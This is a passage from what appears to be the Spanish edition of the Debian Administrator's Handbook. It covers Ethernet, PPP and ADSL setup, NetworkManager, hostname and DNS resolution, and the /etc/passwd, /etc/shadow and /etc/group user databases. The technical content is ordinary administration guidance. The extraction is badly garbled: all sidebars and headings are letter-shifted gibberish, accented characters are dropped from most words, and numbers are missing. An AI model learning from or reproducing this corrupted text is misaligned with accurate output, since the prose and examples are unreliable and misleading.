FSSBOUFT{ QHJOB  QFSP UBNCJO FT QFSGFDUBNFOUF UJM DPNP IFSSBNJFOUB
EF HFTUJO EF SFE QSFEFUFSNJOBEB 1VFEF DSFBS kDPOFYJPOFT EF TJTUFNB{ RVF
TFSO VUJMJ[BEBT UBO QSPOUP DPNP JOJDJF FM FRVJQP UBOUPDPO VO BSDIJWP EF FT
UJMP .ini FO /etc/NetworkManager/system-connections/ P B USBWT EF VOB
IFSSBNJFOUB HSGJDB nm-connection-editor
 4MP SFDVFSEF EFTBDUJWBS UPEPT
MPT FMFNFOUPT EF /etc/network/interfaces TJ EFTFB RVF MPT HFTUJPOF /FUXPSL
.BOBHFS
http://wiki.gnome.org/NetworkManager/SystemSettings
http://projects.gnome.org/NetworkManager/developers/api/09/
ref-settings.html

 *OUFSGB[ &UIFSOFU


Si el equipo tienen una tarjeta Ethernet, se debe configurar la red IP a la que est asociada eligiendo uno de dos mtodos posibles. El mtodo ms simple es utilizar una configuracin dinmica
con DHCP, lo que necesita un servidor DHCP en la red local. Puede indicar un nombre de equipo
deseado que corresponde a la configuracin IPTUOBNF en el ejemplo a continuacin. El servidor
DHCP luego enva la configuracin para la red apropiada.
&KFNQMP 

$POGJHVSBDJO %)$1

auto eth0
iface eth0 inet dhcp
hostname arrakis

Una configuracin esttica debe indicar especficamente los parmetros de red. Esto incluye
al menos la direccin IP y mscara de subred; a veces tambin se indican las direcciones de red
y de difusin. Se especificar un router conectado al exterior como puerta de enlace.
&KFNQMP  $POGJHVSBDJO FTUUJDB
auto eth0
iface eth0 inet static
address 192.168.0.3
netmask 255.255.255.0
broadcast 192.168.0.255

$BQUVMP  $POGJHVSBDJO CTJDB SFE DVFOUBT JNQSFTJO



network 192.168.0.0
gateway 192.168.0.1

/05"
%JSFDDJPOFT NMUJQMFT

/P TMP FT QPTJCMF BTPDJBS EJGFSFOUFT JOUFSGBDFT B VOB NJTNB UBSKFUB EF SFE


GTJDB TJOP RVF UBNCJO FT QPTJCMF BTJHOBS WBSJBT EJSFDDJPOFT *1 B VOB JOUFS
GB[ 3FDVFSEF BEFNT RVF VOB EJSFDDJO *1 QVFEF DPSSFTQPOEFS B DVBMRVJFS
DBOUJEBE EF OPNCSFT B USBWT EF %/4 Z RVF EJDIP OPNCSF UBNCJO QVFEF
DPSSFTQPOEF B DVBMRVJFS DBOUJEBE EF EJSFDDJPOFT *1 OVNSJDBT
$PNP QVFEF BEJWJOBS MBT DPOGJHVSBDJPOFT QVFEFO TFS CBTUBOUF DPNQMFKBT QFSP
TF VUJMJ[BO FTUBT PQDJPOFT TMP FO DBTPT NVZ FTQFDJBMFT -PT FKFNQMPT DJUBEPT
TPO UQJDPT EF MBT DPOGJHVSBDJPOFT VTVBMFT

 $POFYJO DPO 111 B USBWT EF VO NEFN 145/


Una conexin punto a punto (PPP) establece una conexin intermitente; esta es la solucin ms
comn para conexiones realizadas con un telfono mdem (mdem PSTN ya que se realiza la
conexin a travs de la red pblica conmutada de telfonos: Public Switched Telephone Network).
Una conexin por telfono mdem necesita una cuenta con un proveedor de acceso, lo que
incluye un nmero de telfono, nombre de usuario, contrasea y a veces el protocolo de autenticacin a utilizar. Se configura dicha conexin utilizando la herramienta pppconfig en el
paquete Debian del mismo nombre. De forma predeterminada, configura una conexin llamada
QSPWJEFS (proveedor en ingls). En caso de dudas sobre el protocolo de autenticacin, utilice
PAP: la mayora de los proveedores de servicios de Internet lo ofrecen.
Despus de la configuracin, es posible conectarse utilizando la orden pon (pasndole como
parmetro el nombre de la conexin cuando el valor predeterminado QSPWJEFS no sea apropiado). Se desconecta el enlace con la orden poff. Ambos puede ser ejecutados por el usuario root
o cualquier otro usuario siempre que pertenezcan al grupo EJQ.
)&33".*&/5"
$POFYJO B QFEJEP DPO diald

FT VO TFSWJDJP EF DPOFYJO B QFEJEP RVF FTUBCMFDF VOB DPOFYJO BV


UPNUJDBNFOUF DVBOEP FT OFDFTBSJB EFUFDUBOEP VO QBRVFUF *1 TBMJFOUF Z EF
TDPOFDUOEPTF MVFHP EF VO QFSPEP EF JOBDUJWJEBE
diald

 $POFYJO B USBWT EF VO NEFN "%4El trmino genrico mdem ADSL cubre una multitud de dispositivos con funcionalidades
muy diferentes. Los mdems ms sencillos de utilizar con Linux son aquellos con una interfaz
Ethernet (y no slo una interfaz USB). Tienden a ser populares, la mayora de los proveedores
de servicios de Internet ADSL prestan (o alquilan) una caja con interfaces Ethernet. La configuracin puede variar enormemente dependiendo del tipo de mdem.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

.EFNT DPNQBUJCMFT DPO 1110&


Algunos mdems Ethernet funcionan con el protocolo PPPOE (punto a punto sobre Ethernet: Point to Point Protocol Over Ethernet). La herramienta pppoeconf (del paquete con el
mismo nombre) configurar la conexin. Para hacerlo, modifica el archivo /etc/ppp/peers/
dsl-provider con las configuraciones provistas y almacena la informacin de inicio de sesin
en los archivos /etc/ppp/pap-secrets y /etc/ppp/chap-secrets. Se recomienda aceptar todas las modificaciones que proponga.
Una vez que se completa esta configuracin puede abrir la conexin ADSL con la orden pon dslprovider y desconectarla con poff dsl-provider.
46(&3&/$*"
*OJDJBOEP ppp B USBWT EF
init

-BT DPOFYJPOFT 111 TPCSF "%4- TPO QPS EFGJOJDJO JOUFSNJUFOUFT :B RVF HFO
FSBMNFOUF OP TPO DPCSBEBT QPS UJFNQP FYJTUFO QPDBT EFTWFOUBKBT B MB UFOUBDJO
EF NBOUFOFSMBT TJFNQSF FODFOEJEBT VO NUPEP TJNQMF EF IBDFSMP FT VUJMJ[BS FM
QSPDFTP init QBSB DPOUSPMBS MB DPOFYJO 5PEP MP RVF OFDFTJUB IBDFS FT BHSFHBS
VOB MOFB DPNP MB TJHVJFOUF BM GJOBM EFM BSDIJWP /etc/inittab Z FO DVBMRVJFS
NPNFOUP RVF TF EFTDPOFDUF MB DPOFYJO init MB SFDPOFDUBS
adsl:2345:respawn:/usr/sbin/pppd call dsl-provider

-B NBZPSB EF MBT DPOFYJPOFT "%4- TF EFTDPOFDUBO EJBSJBNFOUF QFSP FTUF


NUPEP SFEVDF MB EVSBDJO EF MB JOUFSSVQDJO

.EFNT DPNQBUJCMFT DPO 1151


El protocolo PPTP (protocolo de tnel punto a punto: Point-to-Point Tunneling Protocol) fue
creado por Microsoft. Desplegado al principio de ADSL fue reemplazado rpidamente por PPPOE.
Si le fuerzan a utilizar este protocolo, revise el Captulo 10: Infraestructura de red pgina 228
en la seccin sobre redes privadas virtuales que detalla PPTP.

.EFNT DPNQBUJCMFT DPO %)$1


Cuando se conecta un mdem al equipo a travs de un cable Ethernet (cable cruzado), generalmente configurar la conexin de red con DHCP en el equipo; el mdem automticamente
actuar como puerta de enlace predeterminada y se encargar del ruteo (lo que quiere decir que
gestionar el trfico de red entre el equipo e Internet).
70-7&3 " -04
$*.*&/504
$BCMF DSV[BEP QBSB VOB
DPOFYJO &UIFSOFU EJSFDUB

-BT UBSKFUBT EF SFE FTQFSBO SFDJCJS EBUPT FO IJMPT FTQFDGJDPT EFM DBCMF Z FOWJBS
TVT EBUPT FO PUSPT $VBOEP DPOFDUB VO FRVJQP B VOB SFE MPDBM HFOFSBMNFOUF
DPOFDUB VO DBCMF SFDUP P DSV[BEP
FOUSF MB UBSKFUB EF SFE Z VO SFQFUJEPS P
DPONVUBEPS 4JO FNCBSHP TJ EFTFB DPOFDUBS EPT FRVJQPT EJSFDUBNFOUF TJO VO
DPONVUBEPS P SFQFUJEPS JOUFSNFEJP
EFCF FOSVUBS MB TFBM FOWJBEB QPS VOB
UBSKFUB BM MBEP SFDFQUPS EF MB PUSB UBSKFUB Z WJDFWFSTB TUF FT FM QSPQTJUP EF
VO DBCMF DSV[BEP Z MB SB[O QPS MB RVF TF MP VUJMJ[B

$BQUVMP  $POGJHVSBDJO CTJDB SFE DVFOUBT JNQSFTJO



5FOHB FO DVFOUB RVF FTUB EJTUJODJO TF FTU WPMWJFOEP NFOPT SFMFWBOUF DPO FM
UJFNQP ZB RVF MBT UBSKFUBT EF SFE NPEFSOBT QVFEFO EFUFDUBS FM UJQP EF DBCMF
DPOFDUBEP Z BEBQUBSTF EF GPSNB BDPSEF QPS MP RVF OP TFSJB VTVBM RVF BNCPT
UJQPT EF DBCMF GVODJPOFO FO VOB VCJDBDJO EBEB

Se pueden utilizar de esta forma la mayora de los enrutadores ADSL en el mercado as como
tambin los mdem ADLS que entregan los proveedores de servicios de Internet.

 $POGJHVSBDJO EF SFE BVUPNUJDB QBSB VTVBSJPT FSSBOUFT


Muchos ingenieros de Falcot tienen un equipo porttil que, con propsitos profesionales, tambin utilizan en sus casas. La configuracin de red a utilizar vara segn la ubicacin. En casa
puede ser una red inalmbrica (protegida con una clave WEP) mientras que en el trabajo utiliza
una red cableada para ms seguridad y ancho de banda.
Para evitar tener que conectar y desconectar manualmente las interfaces de red correspondientes, los administradores instalan el paquete network-manager en estos equipos errantes. Este
software le permite al usuario cambiar fcilmente de una red a otra utilizando un pequeo cono
mostrado en el rea de notificacin de su entorno grfico. Pulsar en este cono muestra una lista
de redes disponibles (tanto cableadas como inalmbricas) para que pueda elegir una a utilizar.
El programa guarda la configuracin para las redes a las que el usuario ya se ha conectado y
automticamente selecciona la mejor red disponible cuando pierde la conexin actual.
Para poder hacerlo el programa est estructurado en dos partes: un demonio ejecutando como
root maneja la activacin y configuracin de las interfaces de red y una interfaz de usuario controla este demonio. PolicyKit gestiona las autorizaciones necesarias para controlar este programa, y Debian configur PolicyKit de forma que todos los miembros del grupo netdev pueden
agregar o modificar conexiones con Network Manager.
Network Manager sabe cmo administrar varios tipos de conexin (DHCP, configuracin manual, red local), pero slo si se realiza la configuracin desde dentro del mismo programa. Es
por eso que ignorar sistemticamente todas las interfaces de red en el archivo /etc/network/
interfaces que desconozca. Debido a que Network Manager no provee detalles cuando no se
muestran conexiones de red, lo ms sencillo es eliminar cualquier configuracin del archivo
/etc/network/interfaces sobre las interfaces que Network Manager debe administrar.
Note que se instalar este programa de forma predeterminada si selecciona la tarea Entorno
de escritorio durante la instalacin inicial.
"-5&3/"5*7"
$POGJHVSBDJO QPS kQFSGJM EF
SFE{

6TVBSJPT NT BWBO[BEPT QPESBO EFTFBS QSPCBS FM QBRVFUF HVFTTOFU QBSB VOB


DPOGJHVSBDJO BVUPNUJDB EF MB SFE 6O HSVQP EF TDSJQUT EF QSVFCBT EFUFSNJ
OBO FM QFSGJM EF SFE B BDUJWBS Z MP DPOGJHVSBO BM WVFMP
-PT VTVBSJPT RVF QSFGJFSBO TFMFDDJPOBS NBOVBMNFOUF VO QFSGJM EF SFE
QSFGFSJSO FM QSPHSBNB OFUFOW RVF QVFEFO FODPOUSBS FO FM QBRVFUF EFM NJT
NP OPNCSF



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

 %FGJOJDJO EFM OPNCSF EF FRVJQP Z DPOGJHVSBDJO EFM TFSWJDJP EF OPN


CSFT
El propsito de asignar nombres a nmeros IP es hacerlos fciles de recordar para la gente. En
realidad, una direccin IP identifica una interfaz de red asociada con un dispositivo como una
tarjeta de red. Como cada equipo puede tener varias tarjetas de red y varias interfaces en cada
tarjeta, un solo equipo puede tener varios nombres en el sistema de nombres de dominio.
Se identifica a cada equipo, sin embargo, por un nombre principal (o cannico) que se almacena en el archivo /etc/hostname y se le comunica al ncleo Linux a travs de la orden hostname.
El valor actual est disponible en un sistema de archivos virtual y lo puede conseguir con la orden cat /proc/sys/kernel/hostname.
70-7&3 " -04
$*.*&/504
/proc/ Z /sys/ TJTUFNBT EF
BSDIJWPT WJSUVBMFT

4F HFOFSBO MPT SCPMFT EF BSDIJWPT /proc/ Z /sys/ B USBWT EF TJTUFNBT EF


BSDIJWPT kWJSUVBMFT{ &TUF FT VO NUPEP QSDUJDP QBSB PCUFOFS JOGPSNBDJO EFM
ODMFP NPTUSBOEP BSDIJWPT WJSUVBMFT
Z DPNVOJDBSMF JOGPSNBDJO FTDSJCJFOEP
FO BSDIJWPT WJSUVBMFT

4F EJTF /sys/ FO QBSUJDVMBS QBSB QSPWFFS BDDFTP B MPT PCKFUPT JOUFSOPT EFM
ODMFP FTQFDJBMNFOUF BRVFMMPT RVF SFQSFTFOUBO MPT EJTUJOUPT EJTQPTJUJWPT FO FM
TJTUFNB &M ODMFP QVFEF FOUPODFT DPNQBSUJS NVDIB JOGPSNBDJO FM FTUBEP
EF DBEB EJTQPTJUJWP QPS FKFNQMP TJ FTU FO NPEP EF BIPSSP EF FOFSHB
TJ FT
VO EJTQPTJUJWP SFNPWJCMF FUD &T JNQPSUBOUF TBCFS RVF /sys/ TMP FYJTUF EFTEF
MB WFSTJO EF ODMFP 

Sorprendentemente, no se administra el nombre de dominio de la misma forma sino que


proviene del nombre completo del equipo, obtenido a travs de resolucin de nombres. Puede
cambiarlo en el archivo /etc/hosts; simplemente escriba un nombre completo para el equipo
al principio de la lista de nombres asociados con las direcciones del equipo como en el siguiente
ejemplo:
127.0.0.1
192.168.0.1

localhost
arrakis.falcot.com arrakis

 3FTPMVDJO EF OPNCSFT


El mecanismo de resolucin de nombres en Linux es modular y puede utilizar varias fuentes
de informacin declaradas en el archivo /etc/nsswitch.conf. La instruccin que determina la
resolucin de nombres es IPTUT. De forma predeterminada contiene GJMFT EOT que significa que
el sistema consultar primero el archivo /etc/hosts, luego los servidores DNS. Otras fuentes
posibles son los servidores NIS/NIS+ o LDAP.
/05"
/44 Z %/4

4FQB RVF MPT QSPHSBNBT FTQFDGJDPT QBSB SFBMJ[BS DPOTVMUBT EF %/4 FTQFDJBM
NFOUF host
OP VUJMJ[BO FM NFDBOJTNP EF SFTPMVDJO EF OPNCSFT FTUOEBS
/44
 $PNP DPOTFDVFODJB OP UJFOFO FO DVFOUB /etc/nsswitch.conf Z QPS
MP UBOUP UBNQPDP /etc/hosts

$BQUVMP  $POGJHVSBDJO CTJDB SFE DVFOUBT JNQSFTJO



$POGJHVSBDJO EF TFSWJEPSFT %/4


DNS (servicio de nombres de dominio: Domain Name Service) es un servicio distribuido y
jerrquico que asocia nombres a direcciones IP y viceversa. Especficamente puede transformar
un nombre amigable para las personas como XXXFZSPMMFTDPN en una direccin IP real, 
.
Para acceder a la informacin de DNS, debe tener disponible un servidor DNS para retransmitir
sus pedidos. Falcot Corp tiene uno propio, pero es ms probable que un usuario particular utilice
los servidores de DNS provistos por su ISP.
Se indican los servidores DNS a utilizar en el archivo /etc/resolv.conf, uno por lnea, precediendo la direccin IP con la palabra clave OBNFTFSWFS como en el ejemplo a continuacin:
nameserver 212.27.32.176
nameserver 212.27.32.177
nameserver 8.8.8.8

&M BSDIJWP /etc/hosts


Si no existe un servidor de nombres en la red local an es posible definir una pequea tabla que
asocie direcciones IP y nombres de equipos en el archivo /etc/hosts, generalmente reservado
para estaciones de redes locales. La sintaxis de este archivo es muy simple: cada lnea indica
una direccin IP especfica seguida de una lista de los nombres asociados (el primero debe ser
completamente calificado, lo que significa que debe incluir el nombre de dominio).
Este archivo est disponible an durante problemas de red o cuando no se puedan alcanzar los
servidores de DNS, pero slo ser realmente til cuando est en todos los equipos en la red. La
menor alteracin de asociaciones necesitar que se actualice el archivo en todos lados. Es por
esto que el archivo /etc/hosts generalmente slo contiene los ms importantes.
Este archivo ser suficiente para un red pequea que no est conectada a Internet, pero con 5 o
ms mquinas se recomienda instalar un servidor de DNS propio.
46(&3&/$*"
&WJUBOEP %/4

%FCJEP B RVF MBT BQMJDBDJPOFT SFWJTBO FM BSDIJWP /etc/hosts BOUFT EF SFBMJ[BS


QFEJEPT %/4 FT QPTJCMF JODMVJS JOGPSNBDJO BMM RVF TFB EJGFSFOUF B MP RVF
EFWPMWFSB %/4 QPS MP UBOUP FWJUBOEP MB SFTPMVDJO EF OPNCSFT OPSNBM CBTBEB
FO %/4
&TUP QFSNJUF FO FM DBTP EF DBNCJPT B %/4 RVF OP TF IBZBO QSPQBHBEP BO
QSPCBS FM BDDFTP B VO TJUJP XFC DPO FM OPNCSF QMBOFBEP BO DVBOEP EJDIP
OPNCSF UPEBWB OP FTU BTPDJBEP B MB *1 DPSSFDUB
0USP QPTJCMF VTP FT SFEJSJHJS USGJDP EFTUJOBEP B VO FRVJQP QBSUJDVMBS B MB
NRVJOB MPDBM FWJUBOEP EF FTUB GPSNB DVBMRVJFS DPNVOJDBDJO DPO EJDIP
FRVJQP 1PS FKFNQMP QVFEF EFTWJBS MPT OPNCSFT EF BRVFMMPT TFSWJEPSFT EFEJ
DBEPT B QSPWFFS QVCMJDJEBEFT FWJUOEPMBT MP RVF SFTVMUBS FO VOB OBWFHBDJO
NT GMVJEB Z DPO NFOPT EJTUSBDDJPOFT



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

 #BTFT EF EBUPT EF VTVBSJPT Z HSVQPT


Generalmente se almacena la lista de usuarios en el archivo /etc/passwd y el archivo /etc/
shadow almacena las contraseas cifradas. Ambos son archivos de texto en un formato relativamente simple que pueden leerse y modificarse con un editor de texto. Se muestra cada usuario
en una lnea con varios campos separados por dos puntos ().
/05"
&EJUBOEP BSDIJWPT EF TJTUFNB

-PT BSDIJWPT EF TJTUFNB NFODJPOBEPT FO FTUF DBQUVMP HFOFSBMNFOUF TPO


BSDIJWPT FO UFYUP QMBOP Z QVFEFO FEJUBSTF DPO VO FEJUPS EF UFYUP %BEB TV
JNQPSUBODJB QBSB FM GVODJPOBNJFOUP JOUSOTFDP EFM TJTUFNB TJFNQSF FT CVFOB
JEFB UPNBS QSFDBVDJPOFT FYUSBT BM FEJUBS BSDIJWPT EF TJTUFNB 1SJNFSP TJFNQSF
IBHB VOB DPQJB P SFTQBMEP EF VO BSDIJWP EF TJTUFNB BOUFT EF BCSJSMP P NPEJGJ
DBSMP 4FHVOEP FO TFSWJEPSFT P FRVJQPT FO MPT RVF NT EF VOB QFSTPOB QVFEBO
BDDFEFS BM NJTNP BSDIJWP BM NJTNP UJFNQP UPNF MBT NFEJEBT BEFDVBEBT QBSB
FWJUBS DPSSVQDJO EF BSDIJWPT
1BSB FTUF QSPQTJUP CBTUB VUJMJ[BS MB PSEFO vipw QBSB FEJUBS FM BSDIJWP /etc/
passwd P vigr QBSB FEJUBS /etc/group TUPT QSPHSBNBT CMPRVFBO FM BSDIJWP
FO DVFTUJO BOUFT EF FKFDVUBS FM FEJUPS EF UFYUP vi EF GPSNB QSFEFUFSNJOBEB
B NFOPT RVF TF IBZB NPEJGJDBEP MB WBSJBCMF EF FOUPSOP EDITOR
 -B PQDJO -s
QFSNJUJS FEJUBS FM BSDIJWP TIBEPX DPSSFTQPOEJFOUF

70-7&3 " -04


$*.*&/504
$SZQU VOB GVODJO
VOJEJSFDDJPOBM

FT VOB GVODJO VOJEJSFDDJPOBM RVF USBOTGPSNB VOB DBEFOB A


B PUSB
DBEFOB B
EF GPSNB RVF OP TF QVFEB PCUFOFS A EFTEF B -B OJDB GPSNB EF
JEFOUJGJDBS A FT QSPCBS UPEPT TVT QPTJCMFT WBMPSFT SFWJTBOEP VOP QPS VOP QBSB
WFSJGJDBS TJ MB USBOTGPSNBDJO VUJMJ[BOEP EJDIB GVODJO QSPEVDF B P OP 6UJ
MJ[B IBTUB  DBSBDUFSFT DPNP FOUSBEB MB DBEFOB A
Z HFOFSB VOB DBEFOB EF 
DBSBDUFSFT JNQSJNJCMFT "4$** MB DBEFOB B

crypt

 -JTUB EF VTVBSJPT /etc/passwd


Esta es una lista de los campos en el archivo /etc/passwd:
nombre de usuario, por ejemplo SIFSU[PH;
contrasea: esta es una contrasea cifrada por una funcin unidireccional (crypt), que
utiliza %&4, .%, 4)" o 4)". El valor especial Y indica que la contrasea
cifrada est almacenada en /etc/shadow;

VJE: nmero nico que identifica a cada usuario;


HJE: nmero nico del grupo principal del usuario (de forma predeterminada, Debian crea
un grupo especfico para cada usuario);
(&$04: campo de datos que generalmente contiene el nombre completo del usuario;
directorio de inicio de sesin, asignado al usuario para almacenar sus archivos personales
(al que generalmente apunta la variable de entorno $HOME);

$BQUVMP  $POGJHVSBDJO CTJDB SFE DVFOUBT JNQSFTJO



programa a ejecutar al iniciar sesin. Generalmente es un intrprete de rdenes (consola) que le da libertad al usuario. Si especifica /bin/false (que no hace nada y vuelve el
control inmediatamente), el usuario no podr iniciar sesin.
70-7&3 " -04
$*.*&/504
(SVQP 6OJY

6O HSVQP 6OJY FT VOB FOUJEBE RVF JODMVZF WBSJPT VTVBSJPT QBSB RVF QVFEBO
DPNQBSUJS BSDIJWPT GDJMNFOUF VUJMJ[BOEP FM TJTUFNB EF QFSNJTPT JOUFHSBEP
PCUFOJFOEP MPT NJTNPT QFSNJTPT
 5BNCJO QVFEF SFTUSJOHJS FM VTP EF DJFS
UPT QSPHSBNBT B VO HSVQP FTQFDGJDP

 &M BSDIJWP EF DPOUSBTFBT PDVMUBT Z DJGSBEBT /etc/shadow


El archivo /etc/shadow contiene los siguientes campos:
nombre de usuario;
contrasea cifrada;
varios campos que administran el vencimiento de la contrasea.
%0$6.&/5"$*/
&M GPSNBUP EF MPT BSDIJWPT /
etc/passwd /etc/shadow Z /

TUPT GPSNBUPT FTUO EPDVNFOUBEPT FO MBT TJHVJFOUFT QHJOBT EF NBOVBM pas


swd(5) shadow(5) Z group(5)

etc/group

4&(63*%"%
4FHVSJEBE EFM BSDIJWP /etc/
shadow

" EJGFSFODJB EF TV DPOUSBQBSUF /etc/passwd /etc/shadow OP QVFEF TFS MFEP


QPS VTVBSJPT OPSNBMFT $VBMRVJFSB QVFEF MFFS DVBMRVJFS DPOUSBTFB DJGSBEB FO
/etc/password VO kDSBDLFS{ QPESB JOUFOUBS kSPNQFS{ P SFWFMBS
VOB DPO
USBTFB B USBWT EF BMHVOP EF MPT NUPEPT EF kGVFS[B CSVUB{ RVF EF GPSNB
TJNQMJGJDBEB BEJWJOBO MBT DPNCJOBDJPOFT EF DBSBDUFSFT VUJMJ[BEBT GSFDVFOUF
NFOUF &TUF BUBRVF MMBNBEP kBUBRVF EF EJDDJPOBSJP{ ZB OP FT QPTJCMF FO
TJTUFNBT RVF VUJMJ[BO /etc/shadow

 .PEJGJDBDJO EF VOB DVFOUB P DPOUSBTFB FYJTUFOUF


Los siguientes programas permiten modificar la informacin almacenada en campos especficos
de la base de datos de usuarios: passwd le permite a un usuario normal cambiar su contrasea
que, a su vez, actualiza el archivo /etc/shadow; chfn (cambiar el nombre completo: CHange
Full Name), reservado para el superusuario (root), modifica el campo (&$04. chsh (cambiar
consola: CHange SHell) le permite a un usuario cambiar su consola de inicio de sesin, sin
embargo las opciones disponibles estarn limitadas a aquellas mencionadas en /etc/shells;
el administrador, por el otro lado, no est limitado por esta restriccin y puede configurar la
consola a cualquier programa de su eleccin.
Finalmente chage (cambiar edad: CHange AGE) permite al administrador cambiar la configuracin de expiracin de la contrasea (la opcin M VTVBSJP mostrar la configuracin actual).
Tambin puede forzar la expiracin de una contrasea utilizando la orden passwd -e usuario,
que obligar al usuario a cambiar su contrasea la prxima vez que inicie sesin.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

 %FTBDUJWBDJO EF VOB DVFOUB


Puede llegar a necesitar desactivar una cuenta (bloquear el acceso a un usuario) como castigo,
para una investigacin o simplemente en caso de una ausencia prolongada o definitiva de un
usuario. Una cuenta desactivada significa que el usuario no podr iniciar sesin y obtener acceso
a la mquina. La cuenta se mantiene intacta en el equipo y no se eliminarn archivos o datos;
simplemente es inaccesible. Puede lograr esto utilizando passwd -l usuario (bloquear: lock).
Puede reactivar la cuenta de forma similar, utilizando la opcin V (desbloquear: unlock).
:&/%0 .4 "--
/44 Z CBTFT EF EBUPT EF
TJTUFNB

&O MVHBS EF VUJMJ[BS MPT BSDIJWPT VTVBMFT QBSB BENJOJTUSBS MB MJTUB EF VTVBS
JPT Z HSVQPT QVFEF VUJMJ[BS PUSPT UJQPT EF CBTFT EF EBUPT DPNP -%"1 P db
VUJMJ[BOEP FM NEVMP /44 DBNCJP EF TFSWJDJP EF OPNCSFT k/BNF 4FSWJDF
4XJUDI{
 1VFEF FODPOUSBS VOB MJTUB EF MPT NEVMPT VUJMJ[BEPT FO FM BSDIJWP
/etc/nsswitch.conf CBKP MPT FMFNFOUPT passwd shadow Z group 3FWJTF MB 4FD
DJO  k$POGJHVSBDJO EF /44{ QHJOB  QBSB VO FKFNQMP FTQFDGJDP
TPCSF FM VTP EF VO NEVMP /44 QBSB -%"1

 -JTUB EF HSVQPT /etc/group


Se enumeran los grupos en el archivo /etc/group, una simple base de datos de texto en un
formato similar al del archivo /etc/passwd con los siguientes campos:
nombre del grupo;
contrasea (opcional): slo es utilizada para unirse a un grupo cuando no es un miembro
normal (con newgrp o sg, revise el recuadro);

HJE: nmero nico de identificacin del grupo;


lista de miembros: lista separados por comas de nombres de usuario que son miembros
del grupo.
70-7&3 " -04
$*.*&/504
5SBCBKBS DPO WBSJPT HSVQPT

$BEB VTVBSJP QVFEF TFS NJFNCSP EF WBSJPT HSVQPT VOP EF MPT DVBMFT FT TV
kHSVQP QSJODJQBM{ &M HSVQP QSJODJQBM EF VO VTVBSJP TF DSFB EF GPSNB QSFEF
UFSNJOBEB EVSBOUF MB DPOGJHVSBDJO JOJDJBM EFM VTVBSJP %F GPSNB QSFEFUFSNJ
OBEB DBEB BSDIJWP RVF DSFF FM VTVBSJP QFSUFOFDF B M BT DPNP UBNCJO B TV
HSVQP QSJODJQBM &TUP OP FT TJFNQSF FM DPNQPSUBNJFOUP EFTFBEP QPS FKFNQMP
DVBOEP FM VTVBSJP OFDFTJUB USBCBKBS FO VO EJSFDUPSJP DPNQBSUJEP QPS VO HSVQP
EJTUJOUP B TV HSVQP QSJODJQBM &O FTUF DBTP FM VTVBSJP OFDFTJUB DBNCJBS FM HSVQP
QSJODJQBM VUJMJ[BOEP VOB EF MBT TJHVJFOUFT SEFOFT newgrp RVF JOJDJB VOB OVFWB
DPOTPMB P sg RVF TJNQMFNFOUF FKFDVUB VOB PSEFO VUJMJ[BOEP VO HSVQP BMUFSOB
UJWP RVF TF QSPWFB &TUBT SEFOFT MF QFSNJUFO BM VTVBSJP VOJSTF B VO HSVQP BM
RVF OP QFSUFOFDFO 4J FM HSVQP FTU QSPUFHJEP QPS VOB DPOUSBTFB OFDFTJUBSO
QSPWFFSMB BOUFT EF FKFDVUBS MB PSEFO
%F GPSNB BMUFSOBUJWB FM VTVBSJP QVFEF BDUJWBS FM CJU setgid FO FM EJSFDUPSJP
RVF DBVTB RVF MPT BSDIJWPT DSFBEPT FO M QFSUFOF[DBO BM HSVQP DPSSFDUP BV
UPNUJDBNFOUF 1BSB NT EFUBMMFT SFWJTF FM SFDVBESP k %JSFDUPSJPT setgid Z FM
CJU kTUJDLZ{ QFHBKPTP
{ QHJOB 

$BQUVMP  $POGJHVSBDJO CTJDB SFE DVFOUBT JNQSFTJO



-B PSEFO id NVFTUSB FM FTUBEP BDUVBM EFM VTVBSJP DPO TV JEFOUJGJDBEPS QFSTPOBM


MB WBSJBCMF uid
TV HSVQP QSJODJQBM BDUVBM MB WBSJBCMF gid
Z MB MJTUB EF HSVQPT
B MPT RVF QFSUFOFDF MB WBSJBCMF groups


Los programas addgroup y delgroup agregan o eliminan un grupo respectivamente. groupmod


modifica la informacin de un grupo (su identificador o HJE). La orden passwd -g grupo cambia
la contrasea del grupo mientras que passwd -r -g grupo elimina dicha contrasea.
46(&3&/$*"
getent

&M QSPHSBNB getent PCUFOFS FMFNFOUPT kHFU FOUSJFT{


SFWJTB MBT CBTFT EF
EBUPT EF TJTUFNB EF MB GPSNB FTUOEBS VUJMJ[BOEP MBT GVODJPOFT EF MB CJCMJPUFDB
BQSPQJBEB RVF B TV WF[ MMBNBO B MPT NEVMPT /44 DPOGJHVSBEPT FO FM BSDIJWP
/etc/nsswitch.conf &M QSPHSBNB BDFQUB VOP P EPT QBSNFUSPT FM OPNCSF
EF MB CBTF EF EBUPT B SFWJTBS Z VOB QPTJCMF DMBWF EF CTRVFEB 1PS MP UBOUP MB
PSEFO getent passwd rhertzog QSPWFFS MB JOGPSNBDJO EF MB CBTF EF EBUPT
EF VTVBSJPT TPCSF FM VTVBSJP rhertzog

 $SFBDJO EF DVFOUBT


Una de las primeras acciones que un administrador necesita completar al configurar un nuevo
equipo es crear cuentas de usuario. Esto se realiza generalmente con el programa adduser que
acepta como parmetro un nombre de usuario para el nuevo usuario a crear.
El programa adduser realiza unas pocas preguntas antes de crear la cuenta, pero su uso es bastante directo. Su archivo de configuracin, /etc/adduser.conf, incluye todas las configuraciones interesantes: puede utilizarse para definir automticamente una cuota para cada nuevo
usuario mediante una plantilla de usuario o para cambiar la ubicacin de las cuentas de usuario;
esto ltimo rara vez es til pero puede servir cuando posea una gran cantidad de usuarios y
desee, por ejemplo, dividir sus cuentas entre varios discos. Tambin puede seleccionar un intrprete de rdenes predeterminada diferente.
70-7&3 " -04
$*.*&/504
$VPUB

&M USNJOP kDVPUB{ kRVPUB{


TF SFGJFSF B VO MNJUF FO MPT SFDVSTPT EFM FRVJQP
RVF QVFEF VUJMJ[BS VO VTVBSJP (FOFSBMNFOUF TF SFGJFSF B FTQBDJP FO EJTDP

El crear una cuenta rellena el directorio personal de un usuario con el contenido de la plantilla
/etc/skel/. Esto le provee al usuario un conjunto de directorios y archivos de configuracin
estndar.
En algunos casos, ser til agregar un usuario a un grupo (diferente a su grupo principal) para
proveerle permisos adicionales. Por ejemplo, un usuario que pertenece al grupo audio puede
acceder dispositivos de audio (revise el recuadro Permisos de acceso a dispositivos). Puede
conseguirlo ejecutando adduser usuario grupo.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

70-7&3 " -04


$*.*&/504
1FSNJTPT EF BDDFTP B
EJTQPTJUJWPT

